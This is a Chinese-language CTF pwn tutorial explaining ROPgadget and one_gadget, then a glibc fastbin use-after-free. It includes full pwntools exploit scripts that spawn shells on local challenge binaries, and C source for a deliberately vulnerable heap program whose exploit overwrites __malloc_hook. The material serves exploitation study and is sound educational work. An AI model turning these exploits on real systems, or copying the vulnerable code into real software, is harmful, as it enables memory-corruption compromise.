One_gadget和UAF结合利用堆溢出漏洞研究

阅读量    74150 | 评论 6   稿费 350

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

概述: 通过一道简单的ROP题目理解One_gadget的工作原理,之后利用其提供的ROP链实现堆的UAF漏洞。堆溢出作为CTF的pwn一大题型,非常值得研究。

本篇文章是用于有一定栈溢出,并且对堆的利用感兴趣的小伙伴。同时也欢迎各位师傅不吝赐教。

 

0x01一道简单的ROP题

准备工具:

首先要介绍一些两个工具 RopGadget和One_gadget.

都是用来寻找的ROP链的,其中RopGadget主要是寻找可以供我们自由搭配的ret链。

而One_gadget更为方便,找到的链都是只要调用就直接可以拿shell的。

使用之前需要知道程序使用的libc版本,本地程序可以在gdb中使用vmmap查看。

/lib/i386-linux-gnu/libc-2.23.so

$ cp /lib/i386-linux-gnu/libc-2.23.so libc-2.23.so #放到当前目录,方便调试。

这两个工具语法一般为

RopGadget —binary /lib路径/libc版本 —only “pop|ret”| grep 寄存器

RopGadget

One_gadget /lib路径/libc版本

One_gadget则更加方便,只需要知道程序的基址,并且满足下面的条件(例如第一个链 [esp+0x28]==NULL),就能自动生成ROP链。

One_gadget

 

题目分析:

主函数没有什么漏洞,于是查看一下pwn函数,read函数有一个非常明显的栈溢出。并且题目还泄露除了read的地址,这样即使开了ASLR也能获得基地址。非常明显地ROP利用。

IDA分析1

IDA分析2

#泄露这个部分本身也需要构造ROP,但是题目降低了难度,直接提供了。

再查看一下保机机制,发现只开了NX(本机还开了ASLR)。没有开CANARY,这样基本上只需要使用ROP就行了。

ROP解法一

#!/usr/bin/env python2
from pwn import *
#libc = ELF('/lib32/libc-2.27.so')
libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')
p = process('./rop32')
#gdb.attach(p,'b execve nc')

p.recvuntil('you:')
#获取基址
libc_base = int(p.recvuntil('n'),16) - libc.symbols['read'] 
print libc_base

#计算/bin/sh和execve的地址
libc_bin_sh = libc_base +  libc.search('/bin/sh').next()
libc_execve = libc_base + libc.symbols['execve'] 

#构造ROP链
send = 'a' * 0x3e + p32(libc_execve) + p32(0)  + p32(libc_bin_sh) + p32(0) * 2    

p.sendline(send)
p.interactive()

除了使用自己构造ROP链,还可以使用one_gadget查找出的gadget地址。

ROP解法二

#!/usr/bin/python2.7
from pwn import *

libc=ELF('libc-2.23.so')
p=process('./rop32')

#gdb.attach(p)
#context.log_level='debug'
p.recvuntil('let me help you:')
libc_base=int(p.recvuntil('n'),16)-libc.symbols['read']
print "libc_base="+hex(libc_base)

One_gadget=libc_base+0x3ac5e #from one_gadget libc-2.23.so
payload="A"*0x3e+p32(One_gadget) 

p.sendline(payload)
p.interactive()

getshell

经过上面测试,可以发现,one_gadget是只需要一个地址就能完成getshell的。这种特性在堆溢出中非常重要。所以one_gadget在堆溢出中更加经常被使用。

 

0x02 UAF漏洞利用

UAF全称Use After Free

利用的是修改被Free的空间指针,达到任意代码执行的目的。

需要掌握的两个调试技巧:

1.$ set {unsigned char} 0x555555757420 =0x70 #修改内存

2.Ctrl+c#gdb中断程序

漏洞代码:

#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void helpinfo()
{
    printf("0: exitn1: mallocn2: writen3: readn4: freen");
}

int main()
{
    long action;
    char *buf[20];
    long len;
    long t,i;
    setbuf(stdout, NULL);
    // alarm(10);
    printf("Welcome to CTFn");
    printf("read:%pn",&read);
    helpinfo();

    while(1)
    {
     scanf("%ld",&action);

     switch(action)
     {
         case 0:
             printf("GoodBye!n");
             return 0;
             break;
         case 1: // malloc
             printf("index:");
             scanf("%ld",&t);
             if(t>=21 || t<0)
             {
                 printf("out of range!n");
                 break;
             }
             buf[t] = malloc(32); #分配32个字节
             printf("result: %pn",buf[t]); 
             break;
         case 2: // write
             printf("index:");
             scanf("%ld",&i);
             if(i>=21 || i<0)
             {
                   printf("out of range!n");
                   break;
             }

             printf("length to write:");

             scanf("%ld",&len);
             read(0,buf[t],len);
             printf("OK!n");

             break;

         case 3: // read
             printf("index:");
             scanf("%ld",&i);
             if(i>=21 || i<0)
             {
                   printf("out of range!n");
                   break;
             }

             printf("length to read:");

             scanf("%ld",&len);
             write(1,buf[t],len);
             printf("OK!n");

             break;
         case 4: // free
             printf("index:");
             scanf("%ld",&t);
             if(t>=21 || t<0)
             {
                 printf("out of range!n");
                 break;
             }
             free(buf[t]);
             printf("OK!n"); 
             break;
         default:
             helpinfo();
             break;
    }
    char c;
     do {
      c = getchar();
     }
     while (!isdigit(c));
     ungetc(c, stdin);
  }
  return 0;
}

Glibc分析:

先来通过调试程序,理解堆内存分配方式。

#通过阅读漏洞源码可知,每次分配32个字节(0x20)

Demo1

两次分配的地址分别是0x555555757420和0x555555757450

两者之间是相差0x30字节(而不是0x20)观察0x555555757420-0x10就能发现,对内存前面会0x8个字节用来存放堆块的信息(如这里每个堆块的头都包含0x31这个数字)

所以堆块分布为 堆块0:{ {头部:0x555555757418-~1f} 0x555555757420->~47 }

堆块1:{ {头部:0x55555575748-~4f} 0x555555757450->~70 }

chunk1

接下来将两个堆内存free掉。

首先Free掉第一个内存,但是查看堆空间,并没有什么变化。

Free只是一个标志,并不会修改内存空间。

被Free掉内存地址会被保存在一个地方,留给下次malloc申请时候使用。

但是观察内存中并没有保存任何数据#剧透一下实际上是被保存在libc的某一个地方。

demo2

chunk2

接下来Free掉第二个内存。发现被Free掉的内存,存储了这块内存指向的下一块内存。

demo3

chunk3

再次申请一下就会发现 ,第二次申请会申请到这个地址存储的地址。

#第一次申请申请到的地址之前被存储在了glibc的某处。
#研究过glibc堆分配机制就会知道这是fast bin#我们会在下面给出原理分析。

demo4

FastBin分析

大概格式就是如下图所示,fastbins是一条链表(红色)。被free的chunk块,如果会根据大小分类,同一大小的会被fd指针串在一起(绿色)。第一个被free的内存块chunk,地址是存储在fastbin中的,第二个chunk被free时候,fastbin中存储的上一个chunk的地址会被保存到第二个chunk的fd中,而fashbin中存储的地址则是第二个chunk的。相当于链表的头插法

如果malloc,就是free的逆向。每次malloc就删去链表头。就不浪费篇幅了。

fastbin解析

思考:

如果在再次malloc申请之前,把这个fd内存的数据修改掉会怎么样呢。

使用命令 set修改内存数据

set {unsigned char} 地址=0x10 #修改一个字节(char)数据为0x10

再次申请,第一次申请是正常的。第二次申请,却申请了我们指定的地址+0x10 #这就成功改变了堆的申请地址。

利用原理:

我们成功申请了一块内存到我们指定的位置。配合上这道题的write,就能完成任意地址任意数据的写入。

这里还需要介绍一个,函数叫做__malloc_hook,在libc中。每次malloc调用之前,都会被这个函数hook,所以,我们这次利用的思路就是将这个malloc_hook内部覆盖为one_gadget的地址。然后再调用一次malloc,就会自动弹出shell。

获取参数:

所以我们需要找到malloc_hook函数的地址

将libc文件放入IDA中 #注意这道题的libc和上一题不同

查看view ->export导出文件

能够获取malloc_hook的地址为0x1B2768

如果开启了ASLR,还需要获取read的地址,使用程序开头泄露的read地址,用来计算基址。可以通过IDA直接查询,就不细说了。

脚本编写:

下面出漏洞利用脚本和分析,通过阅读exp也能提升对漏洞的理解。

---------Exp.py-----------

#!/usr/bin/python2.7
from pwn import *
context.log_level = 'debug'
p=process('./heap')
p.recvuntil('read:')
libc_read = int(p.recvline(),16)

def malloc(index):
    p.sendline('1')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recv()

def free(index):
    p.sendline('4')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recv()

def write(index,data):
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recvuntil('to write:')
    p.sendline(str(len(data)))
    p.sendline(data)
    p.recv()

#先申请两块内存,然后释放。
malloc(0)
malloc(1)
free(0)
free(1)
base_addr=libc_read - 0xF7250
malloc_hook_addr = base_addr + 0x1B2768-0x21 #malloc_hook的地址-0x21#防止检查机制
gadget = base_addr + 0x3ac5e 

#将malloc_hook的地址写入被free的内存1中 #内存数据没有被删除,只是标记的被free
write(1,p64(malloc_hook_addr))
malloc(1)
malloc(0) #申请第二块内存,会读取内存1中存储的指针。指针此时已经被标记为malloc_hook的位置。
write(0,'1'*0x21 + p64(gadget)) #向内存块中写入gadget #此时的内存0是malloc_hook地址-0x21。

#再次申请内存,malloc会调用malloc_hook函数,所以就会执行gadget。拿到shell
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(9))
p.interactive()

 

总结:

之前一直不敢碰堆溢出漏洞,每次开始读glibc分配内存就会觉得非常枯燥。所以一直都没有尝试,直到大佬和我讲,先动手调试,调着调着就会了。果然,实际尝试一遍了之后,发现实际堆并没有这么复杂,那些理论反而是阻碍我学习的主要原因。

调试这个漏洞的时候遇到很多问题,直到最后我自己的服务器都没有里都没有利用成功(可能是环境问题),都是在别人的电脑里实现的。不过遇到很多问题,反而让逼着我去啃glibc的原理,反而学会了很多东西。

所以,给初学者一点建议,学习漏洞利用,一定要多调试,在调试的过程中加固对理论的理解。

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多